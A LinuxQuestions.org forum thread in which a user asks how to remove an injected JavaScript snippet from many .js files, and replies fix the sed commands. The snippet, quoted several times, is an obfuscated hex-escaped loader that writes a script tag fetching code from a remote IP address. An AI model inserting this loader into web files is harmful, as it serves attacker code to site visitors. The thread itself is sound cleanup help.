LinuxQuestions.org

LinuxQuestions.org (/questions/)
-   Linux - Newbie (https://www.linuxquestions.org/questions/linux-newbie-8/)
-   -   SED command no working | May be I am doing wrong (https://www.linuxquestions.org/questions/linux-newbie-8/sed-command-no-working-%7C-may-be-i-am-doing-wrong-4175617528/)

taru.tarak 11-13-2017 07:04 AM

SED command no working | May be I am doing wrong
 
Hello,

I want to remove the below code from all .JS files:

======================
_0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x6 3\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x3 2\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C"," \x77\x72\x69\x74\x65"];document[_0xaae8[5]](_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]](_0xaae8[0]));
======================
For this I have tried to use below command but its not working.
======================
grep -rl '_0xaae8' . | xargs sed –i 's/var\s_0xaae8.*//g'
sed: -e expression #1, char 1: unknown command: `▒'
======================
Please help me out what will be the exact command.
Any suggestion should be appreciated.

Regards,
Tarak Nath

linom 11-13-2017 09:19 AM

Quote:

Originally Posted by taru.tarak (Post 5780102)
Hello,

I want to remove the below code from all .JS files:

======================
_0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x6 3\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x3 2\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C"," \x77\x72\x69\x74\x65"];document[_0xaae8[5]](_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]](_0xaae8[0]));
======================
For this I have tried to use below command but its not working.
======================
grep -rl '_0xaae8' . | xargs sed –i 's/var\s_0xaae8.*//g'
sed: -e expression #1, char 1: unknown command: `▒'
======================
Please help me out what will be the exact command.
Any suggestion should be appreciated.

Regards,
Tarak Nath

Have you tried with the below command

Code:

sed '/_0xaae8/d' file_name

taru.tarak 11-13-2017 09:40 AM

No Sir,

Actually there are many JS files with the above code in the sub-folder under a folder. That's why I want remove this code from all JS files.

Is there any command that we can use to remove above code from all JS files?

Regards,
Tarak Nath

linom 11-13-2017 09:57 AM

Quote:

Originally Posted by taru.tarak (Post 5780185)
No Sir,

Actually there are many JS files with the above code in the sub-folder under a folder. That's why I want remove this code from all JS files.

Is there any command that we can use to remove above code from all JS files?

Regards,
Tarak Nath

Try with few files for now, if the command works, then we can build a command / script for all the JS files by searching and then deleting.

taru.tarak 11-13-2017 11:58 AM

As per your suggestion, I have tried the below command. Unfortunately its not working. File is same as it is

==========
[root@dev1 jquery]# cat jquery.js
var _0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x6 3\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x3 2\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C"," \x77\x72\x69\x74\x65"];document[_0xaae8[5]](_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]](_0xaae8[0]));[root@dev1 jquery]#
[root@dev1 jquery]# sed '/_0xaae8/d' jquery.js
[root@dev1 jquery]# cat jquery.js
var _0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x6 3\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x3 2\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C"," \x77\x72\x69\x74\x65"];document[_0xaae8[5]](_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]](_0xaae8[0]));[root@dev1 jquery]#

==========
It will good if you please check and suggest me with exact command.

Regards,
Tarak Nath

Kenhelm 11-14-2017 01:11 PM

The sed error message in post #1 is caused by the Unicode character 'EN DASH'.
http://www.fileformat.info/info/unic...2013/index.htm
Code:

printf '%s' 'sed –i' | od -An -tx1z        # sed –i from post #1
 73 65 64 20 e2 80 93 69      >sed ...i<    # e2 80 93 is 'EN DASH'


printf '%s' 'sed -i' | od -An -tx1z        # sed -i from keyboard
 73 65 64 20 2d 69            >sed -i<    # 2d is the ASCII hyphen/minus


scasey 11-14-2017 06:24 PM

Executing a sed command over a file does not, by default, change the contents of the file; it just outputs the edited content to standard out.
You need to capture the output, perhaps by redirection, into a new file that will then look as you wish, or review info sed to understand how to make changes in-place

linom 11-16-2017 10:49 AM

Quote:

Originally Posted by taru.tarak (Post 5780227)
As per your suggestion, I have tried the below command. Unfortunately its not working. File is same as it is

==========
[root@dev1 jquery]# cat jquery.js
var _0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x6 3\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x3 2\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C"," \x77\x72\x69\x74\x65"];document[_0xaae8[5]](_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]](_0xaae8[0]));[root@dev1 jquery]#
[root@dev1 jquery]# sed '/_0xaae8/d' jquery.js
[root@dev1 jquery]# cat jquery.js
var _0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x6 3\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x3 2\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C"," \x77\x72\x69\x74\x65"];document[_0xaae8[5]](_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]](_0xaae8[0]));[root@dev1 jquery]#

==========
It will good if you please check and suggest me with exact command.

Regards,
Tarak Nath

Hi,
As explained by scasey, the given sed command will remove the content of the source file and print on the linux terminal. It will not make any changes on the source file. To remove the lines from the source file permanently use the "-i" option with the sed command.

Code:

sed -i '/_0xaae8/d' file_name
Note: This will make permanent changes in the SOURCE file. SO BE CAREFUL.

Alternativly, another suggestion is that to redirect it to a new file without the "-i" option in the sed command.

Code:

sed '/_0xaae8/d' file_name > NEW_FILE_NAME
This will anyways preserve the old file and also have a new one. Once the new one is fine, you can keep it or get rid of the old files.
:thumbsup:


All times are GMT -5. The time now is 10:20 PM.